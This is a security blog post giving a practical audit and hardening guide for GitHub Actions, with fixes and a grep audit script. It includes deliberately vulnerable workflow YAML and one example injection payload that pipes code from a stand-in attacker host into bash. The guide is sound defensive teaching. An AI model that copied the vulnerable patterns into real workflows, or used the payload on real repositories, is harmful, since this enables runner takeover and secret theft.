Menu
Back to blog
github-actionscicdsupply-chain

How to Secure GitHub Actions: A Practical Audit Guide

Patrick Putman·Founder, Stormbane Security
February 11, 202611 min readBirmingham, Alabama

GitHub Actions workflows are code execution infrastructure. They have access to your secrets, cloud credentials, and often production deployments. Most teams treat them like configuration files.

That gap is where attackers operate.

This guide covers the specific checks I run on every GitHub Actions deployment I review — with the actual commands and YAML to do it yourself.

The threat model

Before hardening, understand what you're protecting against:

  • Supply chain attacks — a compromised upstream action (uses: org/action@v2) executes arbitrary code in your runner
  • Secret exfiltration — a workflow modification (via fork PR, compromised branch) can exfiltrate GITHUB_TOKEN and stored secrets
  • Script injection — workflow context variables injected into shell steps create RCE vectors
  • Overly broad OIDC trust — a misconfigured trust relationship lets other repositories assume your cloud roles

1. Pin action versions to commit SHAs

Tags like @v4 are mutable — the repository owner can move a tag after you've reviewed and approved the workflow. A supply chain attack that compromises an upstream action repo can silently swap in malicious code on any tag.

# ❌ Vulnerable — tag can be moved
- uses: actions/checkout@v4

# ✅ Pinned to an exact commit
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683  # v4.2.2

Find the SHA for a tag:

gh api repos/actions/checkout/git/refs/tags/v4.2.2 --jq '.object.sha'

Find all unpinned actions in your repo:

grep -r "uses:" .github/workflows/ | grep -v "@[a-f0-9]\{40\}"

Prioritize external third-party actions that have access to secrets or cloud credentials. First-party GitHub actions (actions/checkout, actions/setup-node) carry lower risk, but pinning them costs nothing.

2. Scope permissions to the minimum

The default GITHUB_TOKEN grants write access to most repository resources. Without an explicit permissions block, your workflows have broader access than they need.

# At the top of every workflow
permissions: read-all

jobs:
  build:
    permissions:
      contents: read
      packages: write  # Only on jobs that push to GHCR

Permissions that warrant extra scrutiny:

  • contents: write — can push to branches, create releases, modify code
  • id-token: write — grants OIDC token generation, which enables cloud authentication
  • actions: write — can create, modify, and delete workflows
  • pull-requests: write — can approve PRs and merge them

write-all or a missing permissions block is a finding in every review I do.

3. Fix script injection

This is the one most teams miss. Injecting workflow context variables directly into run steps is a remote code execution vulnerability — not a theoretical one.

# ❌ Script injection — attacker-controlled input in shell
- name: Greet contributor
  run: |
    echo "Welcome, ${{ github.event.comment.body }}"
    ./process.sh "${{ github.event.issue.title }}"

A comment body of $(curl https://attacker.com/exfil | bash) executes in your runner.

The fix is to pass context values as environment variables, not inline interpolation. Environment variables are not interpreted as shell code:

# ✅ Safe — context values in env, not interpolated
- name: Greet contributor
  env:
    COMMENT: ${{ github.event.comment.body }}
    ISSUE_TITLE: ${{ github.event.issue.title }}
  run: |
    echo "Welcome, $COMMENT"
    ./process.sh "$ISSUE_TITLE"

Find injection candidates in your workflows:

grep -rn "run:" .github/workflows/ -A 10 | grep '\${{ github\.'

Not every match is exploitable — github.sha and github.ref are controlled values. The dangerous ones are user-controlled: github.event.issue.title, github.event.comment.body, github.event.pull_request.title, github.head_ref.

4. Treat pull_request_target as a production credential

pull_request_target runs in the context of the base branch — with full access to repository secrets — even for fork PRs. This is designed for comment-on-PR workflows that need to write back to the repo. The danger: it's easy to accidentally check out and execute fork code in the same job.

# ❌ Fork code executing with access to secrets
on:
  pull_request_target:
    types: [opened, synchronize]

jobs:
  preview:
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}  # ← fork code
      - run: ./deploy-preview.sh  # ← executes fork-controlled code
        env:
          CLOUD_SA_KEY: ${{ secrets.CLOUD_SA_KEY }}  # ← exposed

If you use pull_request_target, don't check out the PR code in the same job that has secrets. Use a two-job pattern where the privileged job only acts on safe inputs — not arbitrary fork code.

5. Audit self-hosted runner isolation

GitHub-hosted runners are ephemeral — fresh per job, from a known image. Self-hosted runners are your responsibility. Things to check:

  • Persistent state between jobs — does the workspace directory get cleaned between runs? Do any credential files survive?
  • Org-level registration — runners registered at the org level can be used by any repository in the org. Is that intentional?
  • Network access — can the runner reach your internal network or production systems without restriction?
  • Privileged containers — Docker-in-Docker and --privileged runs significantly expand the blast radius

The minimum acceptable baseline: ephemeral runners that start fresh per job. Persistent self-hosted runners shared across repos create a "one compromised workflow → everything" scenario.

6. Replace long-lived secrets with OIDC

Long-lived credentials stored in GitHub → Settings → Secrets are a persistent risk. They never expire, they're accessible to any workflow in the repository, and they appear in environment variable dumps.

OIDC replaces stored credentials with short-lived tokens tied to a specific workflow execution. GCP, AWS, npm, and PyPI all support it.

This deserves its own deep-dive

The full OIDC implementation — Workload Identity Federation, trust policy scoping, and the least-privilege identity matrix — is covered in detail in GitHub Actions OIDC: Ditch the Long-Lived Secrets. It's the most impactful change most teams can make to their CI/CD security posture.

Quick audit script

Run this against any repository to surface the most common issues:

#!/bin/bash
WORKFLOWS=".github/workflows"

echo "=== Unpinned actions ==="
grep -rh "uses:" $WORKFLOWS | grep -v "@[a-f0-9]\{40\}" | sort -u

echo ""
echo "=== Missing permissions blocks ==="
for f in $WORKFLOWS/*.yml $WORKFLOWS/*.yaml; do
  [ -f "$f" ] || continue
  if ! grep -q "permissions:" "$f"; then
    echo "  $f"
  fi
done

echo ""
echo "=== Script injection candidates (user-controlled context) ==="
grep -rn "run:" $WORKFLOWS -A 10 | \
  grep "\${{ github\.event\." | \
  grep -v "# safe"

echo ""
echo "=== pull_request_target workflows ==="
grep -rl "pull_request_target" $WORKFLOWS 2>/dev/null

echo ""
echo "=== Workflows with write-all or no permissions ==="
grep -rl "write-all" $WORKFLOWS 2>/dev/null

These checks cover the patterns I find in every GitHub Actions review. None require sophisticated tooling — the issues are in the workflow YAML, and the YAML is readable.

For a systematic review of your CI/CD security posture — including org-wide action usage, OIDC trust configurations, and supply chain risk — see our CI/CD security service.

Need help with this? View our CI/CD security services or get in touch.

Related posts